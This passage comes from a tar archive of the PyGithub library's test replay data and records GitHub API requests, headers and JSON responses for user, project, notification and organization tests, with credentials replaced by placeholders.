X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1218'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:26:40 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"8e2b307f8fb4186bfb512febd7215fc8"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 17:20:44 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377108637')] {"login":"nvie","id":83844,"avatar_url":"https://2.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https%3A%2F%2Fidenticons.github.com%2Fe6d0513ce49cc06cb956251623cb8fd9.png","gravatar_id":"466ef7561a0b100dc5a1021959962d28","url":"https://api.github.com/users/nvie","html_url":"https://github.com/nvie","followers_url":"https://api.github.com/users/nvie/followers","following_url":"https://api.github.com/users/nvie/following{/other_user}","gists_url":"https://api.github.com/users/nvie/gists{/gist_id}","starred_url":"https://api.github.com/users/nvie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nvie/subscriptions","organizations_url":"https://api.github.com/users/nvie/orgs","repos_url":"https://api.github.com/users/nvie/repos","events_url":"https://api.github.com/users/nvie/events{/privacy}","received_events_url":"https://api.github.com/users/nvie/received_events","type":"User","name":"Vincent Driessen","company":"3rd Cloud","blog":"http://nvie.com","location":"Netherlands","email":"vincent@3rdcloud.com","hireable":true,"bio":null,"public_repos":86,"followers":530,"following":45,"created_at":"2009-05-12T21:19:38Z","updated_at":"2013-08-21T16:26:40Z","public_gists":38} https GET api.github.com None /users/jacquev6/following/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Wed, 21 Aug 2013 17:20:48 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1377108637')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testUserEquality.txt0000644000175100001660000000407714756101563024145 0ustar00runnerdockerhttps GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"66a516a2007fb7df8bbb3f9cc7cb2da8"'), ('date', 'Fri, 18 May 2012 19:46:37 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_gists":16,"type":"User","hireable":false,"company":"3rd Cloud","url":"https://api.github.com/users/nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","bio":null,"followers":296,"blog":"http://nvie.com","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","email":"vincent@3rdcloud.com","public_repos":61,"html_url":"https://github.com/nvie","name":"Vincent Driessen","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","id":83844,"following":41} https GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"66a516a2007fb7df8bbb3f9cc7cb2da8"'), ('date', 'Fri, 18 May 2012 19:46:37 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_gists":16,"type":"User","hireable":false,"company":"3rd Cloud","url":"https://api.github.com/users/nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","bio":null,"followers":296,"blog":"http://nvie.com","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","email":"vincent@3rdcloud.com","public_repos":61,"html_url":"https://github.com/nvie","name":"Vincent Driessen","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","id":83844,"following":41} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser1430.setUp.txt0000644000175100001660000000536014756101563022215 0ustar00runnerdockerhttps GET api.github.com None /users/ahhda {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 09 Mar 2020 20:17:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1583787082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"df3f26811bc0b8e004078ee4dff56831"'), ('Last-Modified', 'Mon, 09 Mar 2020 18:51:05 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CE65:5225:24E50A:307321:5E66A451')] {"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false,"name":"Anuj Bansal","company":null,"blog":"https://ahhda.github.io/","location":null,"email":"bansalanuj1996@gmail.com","hireable":true,"bio":null,"public_repos":40,"public_gists":5,"followers":23,"following":58,"created_at":"2014-06-04T15:57:45Z","updated_at":"2020-03-09T18:51:05Z","private_gists":4,"total_private_repos":36,"owned_private_repos":31,"disk_usage":226412,"collaborators":10,"two_factor_authentication":false,"plan":{"name":"pro","space":976562499,"collaborators":0,"private_repos":9999}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser1430.testGetProjects.txt0000644000175100001660000001737514756101563024257 0ustar00runnerdockerhttps GET api.github.com None /users/ahhda/projects?state=all {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 09 Mar 2020 20:17:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1583787083'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"14effeef315c8c569963ae39adc9619a"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CE66:638B:8DED89:B5F000:5E66A451')] [{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4083095","html_url":"https://github.com/users/ahhda/projects/1","columns_url":"https://api.github.com/projects/4083095/columns","id":4083095,"node_id":"MDc6UHJvamVjdDQwODMwOTU=","name":"My project 1","body":"The body","number":1,"state":"closed","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T14:15:48Z","updated_at":"2020-03-09T19:00:07Z"},{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4083137","html_url":"https://github.com/users/ahhda/projects/2","columns_url":"https://api.github.com/projects/4083137/columns","id":4083137,"node_id":"MDc6UHJvamVjdDQwODMxMzc=","name":"My project 12","body":"The body","number":2,"state":"closed","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T14:20:51Z","updated_at":"2020-03-09T19:00:04Z"},{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4084607","html_url":"https://github.com/users/ahhda/projects/3","columns_url":"https://api.github.com/projects/4084607/columns","id":4084607,"node_id":"MDc6UHJvamVjdDQwODQ2MDc=","name":"TestPyGithub","body":"This is the body","number":3,"state":"closed","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T18:51:05Z","updated_at":"2020-03-09T19:00:01Z"},{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4084610","html_url":"https://github.com/users/ahhda/projects/4","columns_url":"https://api.github.com/projects/4084610/columns","id":4084610,"node_id":"MDc6UHJvamVjdDQwODQ2MTA=","name":"TestPyGithub","body":"This is the body","number":4,"state":"closed","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T18:51:19Z","updated_at":"2020-03-09T18:59:57Z"},{"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4084664","html_url":"https://github.com/users/ahhda/projects/5","columns_url":"https://api.github.com/projects/4084664/columns","id":4084664,"node_id":"MDc6UHJvamVjdDQwODQ2NjQ=","name":"My new project","body":"This is the body","number":5,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-09T19:00:36Z","updated_at":"2020-03-09T19:00:36Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Notification.setUp.txt0000644000175100001660000001412014756101563022442 0ustar00runnerdockerhttps GET api.github.com None /notifications {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:46:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1539890344'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/""'), ('Last-Modified', 'Thu, 18 Oct 2018 18:29:47 GMT'), ('X-Poll-Interval', '60'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B148:4C25:2AC480C:58CB140:5BC8D522')] [{"id":"397777914","unread":true,"reason":"subscribed","updated_at":"2018-10-18T18:29:47Z","last_read_at":"2018-10-18T13:20:08Z","subject":{"title":"chore: Add more repos migrated on Quay","url":"https://api.github.com/repos/dailymotion/jarvis/pulls/103","latest_comment_url":"https://api.github.com/repos/dailymotion/jarvis/pulls/103","type":"PullRequest"},"repository":{"id":117231874,"node_id":"MDEwOlJlcG9zaXRvcnkxMTcyMzE4NzQ=","name":"jarvis","full_name":"dailymotion/jarvis","private":true,"owner":{"login":"dailymotion","id":115313,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNTMxMw==","avatar_url":"https://avatars2.githubusercontent.com/u/115313?v=4","gravatar_id":"","url":"https://api.github.com/users/dailymotion","html_url":"https://github.com/dailymotion","followers_url":"https://api.github.com/users/dailymotion/followers","following_url":"https://api.github.com/users/dailymotion/following{/other_user}","gists_url":"https://api.github.com/users/dailymotion/gists{/gist_id}","starred_url":"https://api.github.com/users/dailymotion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dailymotion/subscriptions","organizations_url":"https://api.github.com/users/dailymotion/orgs","repos_url":"https://api.github.com/users/dailymotion/repos","events_url":"https://api.github.com/users/dailymotion/events{/privacy}","received_events_url":"https://api.github.com/users/dailymotion/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/dailymotion/jarvis","description":"A shared library containing Jenkins pipeline steps and utilities","fork":false,"url":"https://api.github.com/repos/dailymotion/jarvis","forks_url":"https://api.github.com/repos/dailymotion/jarvis/forks","keys_url":"https://api.github.com/repos/dailymotion/jarvis/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dailymotion/jarvis/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dailymotion/jarvis/teams","hooks_url":"https://api.github.com/repos/dailymotion/jarvis/hooks","issue_events_url":"https://api.github.com/repos/dailymotion/jarvis/issues/events{/number}","events_url":"https://api.github.com/repos/dailymotion/jarvis/events","assignees_url":"https://api.github.com/repos/dailymotion/jarvis/assignees{/user}","branches_url":"https://api.github.com/repos/dailymotion/jarvis/branches{/branch}","tags_url":"https://api.github.com/repos/dailymotion/jarvis/tags","blobs_url":"https://api.github.com/repos/dailymotion/jarvis/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dailymotion/jarvis/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dailymotion/jarvis/git/refs{/sha}","trees_url":"https://api.github.com/repos/dailymotion/jarvis/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dailymotion/jarvis/statuses/{sha}","languages_url":"https://api.github.com/repos/dailymotion/jarvis/languages","stargazers_url":"https://api.github.com/repos/dailymotion/jarvis/stargazers","contributors_url":"https://api.github.com/repos/dailymotion/jarvis/contributors","subscribers_url":"https://api.github.com/repos/dailymotion/jarvis/subscribers","subscription_url":"https://api.github.com/repos/dailymotion/jarvis/subscription","commits_url":"https://api.github.com/repos/dailymotion/jarvis/commits{/sha}","git_commits_url":"https://api.github.com/repos/dailymotion/jarvis/git/commits{/sha}","comments_url":"https://api.github.com/repos/dailymotion/jarvis/comments{/number}","issue_comment_url":"https://api.github.com/repos/dailymotion/jarvis/issues/comments{/number}","contents_url":"https://api.github.com/repos/dailymotion/jarvis/contents/{+path}","compare_url":"https://api.github.com/repos/dailymotion/jarvis/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dailymotion/jarvis/merges","archive_url":"https://api.github.com/repos/dailymotion/jarvis/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dailymotion/jarvis/downloads","issues_url":"https://api.github.com/repos/dailymotion/jarvis/issues{/number}","pulls_url":"https://api.github.com/repos/dailymotion/jarvis/pulls{/number}","milestones_url":"https://api.github.com/repos/dailymotion/jarvis/milestones{/number}","notifications_url":"https://api.github.com/repos/dailymotion/jarvis/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dailymotion/jarvis/labels{/name}","releases_url":"https://api.github.com/repos/dailymotion/jarvis/releases{/id}","deployments_url":"https://api.github.com/repos/dailymotion/jarvis/deployments"},"url":"https://api.github.com/notifications/threads/397777914","subscription_url":"https://api.github.com/notifications/threads/397777914/subscription"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Notification.testMarkAsDone.txt0000644000175100001660000000237514756101563024237 0ustar00runnerdockerhttps DELETE api.github.com None /notifications/threads/397777914 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:46:59 GMT'), ('Content-Type', 'text/plain;charset=utf-8'), ('Content-Length', '0'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1539890344'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B14A:4C25:2AC483C:58CB194:5BC8D523')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Notification.testMarkAsRead.txt0000644000175100001660000000237714756101563024227 0ustar00runnerdockerhttps PATCH api.github.com None /notifications/threads/397777914 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 205 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:46:59 GMT'), ('Content-Type', 'text/plain;charset=utf-8'), ('Content-Length', '0'), ('Status', '205 Reset Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1539890344'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B14A:4C25:2AC483C:58CB194:5BC8D523')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.setUp.txt0000644000175100001660000000717514756101563022474 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 04 Jan 2025 14:03:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"37e82d47ffd1abedecd5b2eacabdb07778a797c702d4b7d8cb628356da265fd7"'), ('Last-Modified', 'Tue, 20 Aug 2024 08:44:26 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1736002780'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'DD00:44383:24E39C7F:25D8F4B0:67793FA2')] {"login":"BeaverSoftware","id":21341965,"node_id":"AbCdEfG","url":"https://api.github.com/orgs/BeaverSoftware","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","events_url":"https://api.github.com/orgs/BeaverSoftware/events","hooks_url":"https://api.github.com/orgs/BeaverSoftware/hooks","issues_url":"https://api.github.com/orgs/BeaverSoftware/issues","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/12345678?v=4","description":"BeaverSoftware writes software.","name":"BeaverSoftware","company":null,"blog":"http://www.example.com","location":"Paris, France","email":"foo@example.com","twitter_username":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":121,"public_gists":0,"followers":130,"following":1,"html_url":"https://github.com/BeaverSoftware","created_at":"2014-01-09T16:56:17Z","updated_at":"2024-08-20T08:44:26Z","archived_at":null,"type":"Organization","total_private_repos":176,"owned_private_repos":191,"private_gists":null,"disk_usage":null,"collaborators":9,"billing_email":"foo@example.com","default_repository_permission":null,"members_can_create_repositories":false,"two_factor_requirement_enabled":true,"members_allowed_repository_creation_type":"none","members_can_create_public_repositories":false,"members_can_create_private_repositories":false,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_fork_private_repositories":false,"web_commit_signoff_required":false,"deploy_keys_enabled_for_repositories":true,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"enterprise","space":123456789,"private_repos":999999,"filled_seats":640,"seats":1024}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testAddMembersAdminRole.txt0000644000175100001660000002662614756101563026074 0ustar00runnerdockerhttps GET api.github.com None /users/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1136'), ('x-runtime-rack', '0.049683'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"00000000000000000000000000000000"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '0000:0000:000000:000000:00000000'), ('last-modified', 'Thu, 05 Apr 2018 00:55:17 GMT'), ('date', 'Fri, 06 Apr 2018 12:54:56 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; 